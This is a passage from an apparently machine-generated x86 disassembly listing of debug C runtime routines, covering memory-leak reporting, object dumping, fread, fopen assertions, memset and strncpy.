; CODE XREF: sub_416B80+BDj mov ecx, [ebp+arg_0] mov edx, dword_4DDF7C mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, dword_4DDF70 mov [eax+30h], ecx mov [ebp+var_4], 0FFFFFFFFh call sub_416D08 jmp short loc_416D13 sub_416B80 endp ; =============== S U B R O U T I N E ======================================= sub_416D08 proc near ; CODE XREF: sub_416B80+181p ; DATA XREF: .data:00434AD8o push 9 call sub_41BD20 add esp, 4 retn sub_416D08 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416B80 loc_416D13: ; CODE XREF: sub_416B80+4Fj ; sub_416B80+186j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_416B80 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov dword ptr [ebp-8], 0 cmp dword ptr [ebp+8], 0 jz short loc_416D52 cmp dword ptr [ebp+0Ch], 0 jz short loc_416D52 cmp dword ptr [ebp+10h], 0 jnz short loc_416D80 loc_416D52: ; CODE XREF: .data:00416D44j ; .data:00416D4Aj ... push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"... push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_416D72 int 3 ; Trap to Debugger loc_416D72: ; CODE XREF: .data:00416D6Fj xor eax, eax test eax, eax jnz short loc_416D52 mov eax, [ebp-8] jmp loc_416E4C ; --------------------------------------------------------------------------- loc_416D80: ; CODE XREF: .data:00416D50j mov dword ptr [ebp-4], 0 jmp short loc_416D92 ; --------------------------------------------------------------------------- loc_416D89: ; CODE XREF: .data:loc_416E17j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_416D92: ; CODE XREF: .data:00416D87j cmp dword ptr [ebp-4], 5 jge loc_416E1C mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+18h] sub edx, [esi+ecx*4+18h] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+18h], edx mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+4] sub edx, [esi+ecx*4+4] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+4], edx mov edx, [ebp-4] mov eax, [ebp+8] cmp dword ptr [eax+edx*4+18h], 0 jnz short loc_416DF2 mov ecx, [ebp-4] mov edx, [ebp+8] cmp dword ptr [edx+ecx*4+4], 0 jz short loc_416E17 loc_416DF2: ; CODE XREF: .data:00416DE3j cmp dword ptr [ebp-4], 0 jz short loc_416E17 cmp dword ptr [ebp-4], 2 jnz short loc_416E10 cmp dword ptr [ebp-4], 2 jnz short loc_416E17 mov eax, dword_444E70 and eax, 10h test eax, eax jz short loc_416E17 loc_416E10: ; CODE XREF: .data:00416DFCj mov dword ptr [ebp-8], 1 loc_416E17: ; CODE XREF: .data:00416DF0j ; .data:00416DF6j ... jmp loc_416D89 ; --------------------------------------------------------------------------- loc_416E1C: ; CODE XREF: .data:00416D96j mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, [ecx+2Ch] sub eax, [edx+2Ch] mov ecx, [ebp+8] mov [ecx+2Ch], eax mov edx, [ebp+10h] mov eax, [ebp+0Ch] mov ecx, [edx+30h] sub ecx, [eax+30h] mov edx, [ebp+8] mov [edx+30h], ecx mov eax, [ebp+8] mov dword ptr [eax], 0 mov eax, [ebp-8] loc_416E4C: ; CODE XREF: .data:00416D7Bj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E60 proc near ; CODE XREF: sub_417280+5Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041711C SIZE 00000037 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434BE8 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov [ebp+var_20], 0 push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 loc_416E9B: ; CODE XREF: sub_416E60+5Fj push offset aDumpingObjects ; "Dumping objects ->\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_416EBB int 3 ; Trap to Debugger loc_416EBB: ; CODE XREF: sub_416E60+58j xor eax, eax test eax, eax jnz short loc_416E9B cmp [ebp+arg_0], 0 jz short loc_416ECF mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_20], edx loc_416ECF: ; CODE XREF: sub_416E60+65j mov eax, dword_4DDF74 mov [ebp+var_1C], eax jmp short loc_416EE1 ; --------------------------------------------------------------------------- loc_416ED9: ; CODE XREF: sub_416E60:loc_4170FEj mov ecx, [ebp+var_1C] mov edx, [ecx] mov [ebp+var_1C], edx loc_416EE1: ; CODE XREF: sub_416E60+77j cmp [ebp+var_1C], 0 jz loc_417103 mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jz loc_417103 mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 3 jz short loc_416F35 mov eax, [ebp+var_1C] mov ecx, [eax+14h] and ecx, 0FFFFh test ecx, ecx jz short loc_416F35 mov edx, [ebp+var_1C] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_416F3A mov ecx, dword_444E70 and ecx, 10h test ecx, ecx jnz short loc_416F3A loc_416F35: ; CODE XREF: sub_416E60+A6j ; sub_416E60+B6j jmp loc_4170FE ; --------------------------------------------------------------------------- loc_416F3A: ; CODE XREF: sub_416E60+C6j ; sub_416E60+D3j mov edx, [ebp+var_1C] cmp dword ptr [edx+8], 0 jz short loc_416FB3 push 0 push 1 mov eax, [ebp+var_1C] mov ecx, [eax+8] push ecx call sub_4168B0 add esp, 0Ch test eax, eax jnz short loc_416F84 loc_416F5A: ; CODE XREF: sub_416E60+120j mov edx, [ebp+var_1C] mov eax, [edx+0Ch] push eax push offset aFileErrorD ; "#File Error#(%d) : " push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_416F7C int 3 ; Trap to Debugger loc_416F7C: ; CODE XREF: sub_416E60+119j xor ecx, ecx test ecx, ecx jnz short loc_416F5A jmp short loc_416FB3 ; --------------------------------------------------------------------------- loc_416F84: ; CODE XREF: sub_416E60+F8j ; sub_416E60+151j mov edx, [ebp+var_1C] mov eax, [edx+0Ch] push eax mov ecx, [ebp+var_1C] mov edx, [ecx+8] push edx push offset aHsD ; "%hs(%d) : " push 0 push 0 push 0 push 0 call sub_41B010 add esp, 1Ch cmp eax, 1 jnz short loc_416FAD int 3 ; Trap to Debugger loc_416FAD: ; CODE XREF: sub_416E60+14Aj xor eax, eax test eax, eax jnz short loc_416F84 loc_416FB3: ; CODE XREF: sub_416E60+E1j ; sub_416E60+122j ... mov ecx, [ebp+var_1C] mov edx, [ecx+18h] push edx push offset aLd ; "{%ld} " push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_416FD5 int 3 ; Trap to Debugger loc_416FD5: ; CODE XREF: sub_416E60+172j xor eax, eax test eax, eax jnz short loc_416FB3 mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41705D loc_416FEC: ; CODE XREF: sub_416E60+1C8j mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_417024 int 3 ; Trap to Debugger loc_417024: ; CODE XREF: sub_416E60+1C1j xor edx, edx test edx, edx jnz short loc_416FEC cmp dword_4DF698, 0 jz short loc_41704C mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] add edx, 20h push edx call dword_4DF698 add esp, 8 jmp short loc_417058 ; --------------------------------------------------------------------------- loc_41704C: ; CODE XREF: sub_416E60+1D1j mov eax, [ebp+var_1C] push eax call sub_417160 add esp, 4 loc_417058: ; CODE XREF: sub_416E60+1EAj jmp loc_4170FE ; --------------------------------------------------------------------------- loc_41705D: ; CODE XREF: sub_416E60+18Aj mov ecx, [ebp+var_1C] cmp dword ptr [ecx+14h], 1 jnz short loc_4170A3 loc_417066: ; CODE XREF: sub_416E60+233j mov edx, [ebp+var_1C] mov eax, [edx+10h] push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 1Ch cmp eax, 1 jnz short loc_41708F int 3 ; Trap to Debugger loc_41708F: ; CODE XREF: sub_416E60+22Cj xor edx, edx test edx, edx jnz short loc_417066 mov eax, [ebp+var_1C] push eax call sub_417160 add esp, 4 jmp short loc_4170FE ; --------------------------------------------------------------------------- loc_4170A3: ; CODE XREF: sub_416E60+204j mov ecx, [ebp+var_1C] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jnz short loc_4170FE loc_4170B4: ; CODE XREF: sub_416E60+290j mov eax, [ebp+var_1C] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_1C] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_1C] add ecx, 20h push ecx push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_4170EC int 3 ; Trap to Debugger loc_4170EC: ; CODE XREF: sub_416E60+289j xor edx, edx test edx, edx jnz short loc_4170B4 mov eax, [ebp+var_1C] push eax call sub_417160 add esp, 4 loc_4170FE: ; CODE XREF: sub_416E60:loc_416F35j ; sub_416E60:loc_417058j ... jmp loc_416ED9 ; --------------------------------------------------------------------------- loc_417103: ; CODE XREF: sub_416E60+85j ; sub_416E60+91j mov [ebp+var_4], 0FFFFFFFFh call sub_417111 jmp short loc_41711C sub_416E60 endp ; =============== S U B R O U T I N E ======================================= sub_417111 proc near ; CODE XREF: sub_416E60+2AAp ; DATA XREF: .data:00434BF0o push 9 call sub_41BD20 add esp, 4 retn sub_417111 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416E60 loc_41711C: ; CODE XREF: sub_416E60+2AFj ; sub_416E60+2E0j push offset aObjectDumpComp ; "Object dump complete.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_41713C int 3 ; Trap to Debugger loc_41713C: ; CODE XREF: sub_416E60+2D9j xor ecx, ecx test ecx, ecx jnz short loc_41711C mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_416E60 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417160 proc near ; CODE XREF: sub_416E60+1F0p ; sub_416E60+239p ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_34 = byte ptr -34h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_4C], 0 jmp short loc_41717B ; --------------------------------------------------------------------------- loc_417172: ; CODE XREF: sub_417160+D7j mov eax, [ebp+var_4C] add eax, 1 mov [ebp+var_4C], eax loc_41717B: ; CODE XREF: sub_417160+10j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 10h jge short loc_41718F mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+var_54], eax jmp short loc_417196 ; --------------------------------------------------------------------------- loc_41718F: ; CODE XREF: sub_417160+22j mov [ebp+var_54], 10h loc_417196: ; CODE XREF: sub_417160+2Dj mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_54] jge loc_41723C mov edx, [ebp+arg_0] add edx, [ebp+var_4C] mov al, [edx+20h] mov byte ptr [ebp+var_50], al cmp dword_447480, 1 jle short loc_4171D3 push 157h mov ecx, [ebp+var_50] and ecx, 0FFh push ecx call sub_41FA40 add esp, 8 mov [ebp+var_58], eax jmp short loc_4171F0 ; --------------------------------------------------------------------------- loc_4171D3: ; CODE XREF: sub_417160+55j mov edx, [ebp+var_50] and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 157h mov [ebp+var_58], ecx loc_4171F0: ; CODE XREF: sub_417160+71j cmp [ebp+var_58], 0 jz short loc_417204 mov edx, [ebp+var_50] and edx, 0FFh mov [ebp+var_5C], edx jmp short loc_41720B ; --------------------------------------------------------------------------- loc_417204: ; CODE XREF: sub_417160+94j mov [ebp+var_5C], 20h loc_41720B: ; CODE XREF: sub_417160+A2j mov eax, [ebp+var_4C] mov cl, byte ptr [ebp+var_5C] mov [ebp+eax+var_48], cl mov edx, [ebp+var_50] and edx, 0FFh push edx push offset a_2x ; "%.2X " mov eax, [ebp+var_4C] imul eax, 3 lea ecx, [ebp+eax+var_34] push ecx call sub_417CB0 add esp, 0Ch jmp loc_417172 ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_417160+3Cj mov edx, [ebp+var_4C] mov [ebp+edx+var_48], 0 loc_417244: ; CODE XREF: sub_417160+10Bj lea eax, [ebp+var_34] push eax lea ecx, [ebp+var_48] push ecx push offset aDataSS ; " Data: <%s> %s\n" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 1Ch cmp eax, 1 jnz short loc_417267 int 3 ; Trap to Debugger loc_417267: ; CODE XREF: sub_417160+104j xor edx, edx test edx, edx jnz short loc_417244 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417280 proc near ; CODE XREF: sub_417B70+B9p var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi lea eax, [ebp+var_34] push eax call sub_416B80 add esp, 4 cmp [ebp+var_20], 0 jnz short loc_4172B4 cmp [ebp+var_2C], 0 jnz short loc_4172B4 mov ecx, dword_444E70 and ecx, 10h test ecx, ecx jz short loc_4172EB cmp [ebp+var_28], 0 jz short loc_4172EB loc_4172B4: ; CODE XREF: sub_417280+19j ; sub_417280+1Fj ... push offset aDetectedMemory ; "Detected memory leaks!\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_4172D4 int 3 ; Trap to Debugger loc_4172D4: ; CODE XREF: sub_417280+51j xor edx, edx test edx, edx jnz short loc_4172B4 push 0 call sub_416E60 add esp, 4 mov eax, 1 jmp short loc_4172ED ; --------------------------------------------------------------------------- loc_4172EB: ; CODE XREF: sub_417280+2Cj ; sub_417280+32j xor eax, eax loc_4172ED: ; CODE XREF: sub_417280+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417280 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi cmp dword ptr [ebp+8], 0 jnz short loc_417312 jmp loc_4173BE ; --------------------------------------------------------------------------- loc_417312: ; CODE XREF: .data:0041730Bj mov dword ptr [ebp-4], 0 jmp short loc_417324 ; --------------------------------------------------------------------------- loc_41731B: ; CODE XREF: .data:0041736Cj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_417324: ; CODE XREF: .data:00417319j cmp dword ptr [ebp-4], 5 jge short loc_41736E loc_41732A: ; CODE XREF: .data:0041736Aj mov ecx, [ebp-4] mov edx, off_444E80[ecx*4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+18h] push edx push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_417366 int 3 ; Trap to Debugger loc_417366: ; CODE XREF: .data:00417363j xor eax, eax test eax, eax jnz short loc_41732A jmp short loc_41731B ; --------------------------------------------------------------------------- loc_41736E: ; CODE XREF: .data:00417328j ; .data:00417394j mov ecx, [ebp+8] mov edx, [ecx+2Ch] push edx push offset aLargestNumberU ; "Largest number used: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_417390 int 3 ; Trap to Debugger loc_417390: ; CODE XREF: .data:0041738Dj xor eax, eax test eax, eax jnz short loc_41736E loc_417396: ; CODE XREF: .data:004173BCj mov ecx, [ebp+8] mov edx, [ecx+30h] push edx push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_4173B8 int 3 ; Trap to Debugger loc_4173B8: ; CODE XREF: .data:004173B5j xor eax, eax test eax, eax jnz short loc_417396 loc_4173BE: ; CODE XREF: .data:0041730Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4173D0 proc near ; CODE XREF: sub_4010AA+43p ; sub_40D78C+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_41AE20 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_417410 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_41AE90 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4173D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417410 proc near ; CODE XREF: sub_4173D0+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_417439 xor eax, eax jmp loc_4175DB ; --------------------------------------------------------------------------- loc_417439: ; CODE XREF: sub_417410+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_417454 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_41745B ; --------------------------------------------------------------------------- loc_417454: ; CODE XREF: sub_417410+37j mov [ebp+var_1C], 1000h loc_41745B: ; CODE XREF: sub_417410+42j ; sub_417410:loc_4175D3j cmp [ebp+var_C], 0 jz loc_4175D8 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 10Ch test edx, edx jz short loc_4174E9 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_4174E9 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_417491 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_41749A ; --------------------------------------------------------------------------- loc_417491: ; CODE XREF: sub_417410+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_41749A: ; CODE XREF: sub_417410+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+arg_C] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_419330 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_4175D3 ; --------------------------------------------------------------------------- loc_4174E9: ; CODE XREF: sub_417410+63j ; sub_417410+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_41758E cmp [ebp+var_1C], 0 jz short loc_41750D mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_417513 ; --------------------------------------------------------------------------- loc_41750D: ; CODE XREF: sub_417410+E9j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_417513: ; CODE XREF: sub_417410+FBj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_41FCF0 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_417558 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_4175DB ; --------------------------------------------------------------------------- loc_417558: ; CODE XREF: sub_417410+127j cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41757A mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_4175DB ; --------------------------------------------------------------------------- loc_41757A: ; CODE XREF: sub_417410+14Cj mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx jmp short loc_4175D3 ; --------------------------------------------------------------------------- loc_41758E: ; CODE XREF: sub_417410+DFj mov eax, [ebp+arg_C] push eax call sub_41FB00 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4175B0 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_4175DB ; --------------------------------------------------------------------------- loc_4175B0: ; CODE XREF: sub_417410+191j mov ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_4] mov [ecx], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax loc_4175D3: ; CODE XREF: sub_417410+D4j ; sub_417410+17Cj jmp loc_41745B ; --------------------------------------------------------------------------- loc_4175D8: ; CODE XREF: sub_417410+4Fj mov eax, [ebp+arg_8] loc_4175DB: ; CODE XREF: sub_417410+24j ; sub_417410+143j ... mov esp, ebp pop ebp retn sub_417410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E0 proc near ; CODE XREF: sub_4176E0+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_4175E9: ; CODE XREF: sub_4175E0+31j cmp [ebp+arg_0], 0 jnz short loc_41760D push offset aFileNull ; "file != NULL" push 0 push 35h push offset aFopen_c ; "fopen.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41760D int 3 ; Trap to Debugger loc_41760D: ; CODE XREF: sub_4175E0+Dj ; sub_4175E0+2Aj xor eax, eax test eax, eax jnz short loc_4175E9 loc_417613: ; CODE XREF: sub_4175E0+5Fj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_41763B push offset aFile_t0 ; "*file != _T('\\0')" push 0 push 36h push offset aFopen_c ; "fopen.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41763B int 3 ; Trap to Debugger loc_41763B: ; CODE XREF: sub_4175E0+3Bj ; sub_4175E0+58j xor eax, eax test eax, eax jnz short loc_417613 loc_417641: ; CODE XREF: sub_4175E0+89j cmp [ebp+arg_4], 0 jnz short loc_417665 push offset aModeNull ; "mode != NULL" push 0 push 37h push offset aFopen_c ; "fopen.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_417665 int 3 ; Trap to Debugger loc_417665: ; CODE XREF: sub_4175E0+65j ; sub_4175E0+82j xor ecx, ecx test ecx, ecx jnz short loc_417641 loc_41766B: ; CODE XREF: sub_4175E0+B7j mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_417693 push offset aMode_t0 ; "*mode != _T('\\0')" push 0 push 38h push offset aFopen_c ; "fopen.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_417693 int 3 ; Trap to Debugger loc_417693: ; CODE XREF: sub_4175E0+93j ; sub_4175E0+B0j xor ecx, ecx test ecx, ecx jnz short loc_41766B call sub_420560 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4176AB xor eax, eax jmp short loc_4176D5 ; --------------------------------------------------------------------------- loc_4176AB: ; CODE XREF: sub_4175E0+C5j mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4201D0 add esp, 10h mov [ebp+var_8], eax mov eax, [ebp+var_4] push eax call sub_41AE90 add esp, 4 mov eax, [ebp+var_8] loc_4176D5: ; CODE XREF: sub_4175E0+C9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4175E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4176E0 proc near ; CODE XREF: sub_4010AA+18p ; sub_401C87+342Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 40h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4175E0 add esp, 0Ch pop ebp retn sub_4176E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417700 proc near ; CODE XREF: .data:00401207p ; .data:00401215p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417753 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417747 neg ecx and ecx, 3 jz short loc_417729 sub edx, ecx loc_417723: ; CODE XREF: sub_417700+27j mov [edi], al inc edi dec ecx jnz short loc_417723 loc_417729: ; CODE XREF: sub_417700+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417747 rep stosd test edx, edx jz short loc_41774D loc_417747: ; CODE XREF: sub_417700+18j ; sub_417700+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417747 loc_41774D: ; CODE XREF: sub_417700+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417753: ; CODE XREF: sub_417700+Aj mov eax, [esp+arg_0] retn sub_417700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_401404+48Ap ; sub_401404+4A6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_4177E3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_417784 shr ecx, 2 jnz short loc_4177F1 jmp short loc_4177A5 ; --------------------------------------------------------------------------- loc_417784: ; CODE XREF: sub_417760+1Bj ; sub_417760+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4177B2 test al, al jz short loc_4177BA test esi, 3 jnz short loc_417784 mov ebx, ecx shr ecx, 2 jnz short loc_4177F1 loc_4177A0: ; CODE XREF: sub_417760+8Fj and ebx, 3 jz short loc_4177B2 loc_4177A5: ; CODE XREF: sub_417760+22j ; sub_417760+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4177DE dec ebx jnz short loc_4177A5 loc_4177B2: ; CODE XREF: sub_417760+2Bj ; sub_417760+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4177BA: ; CODE XREF: sub_417760+2Fj test edi, 3 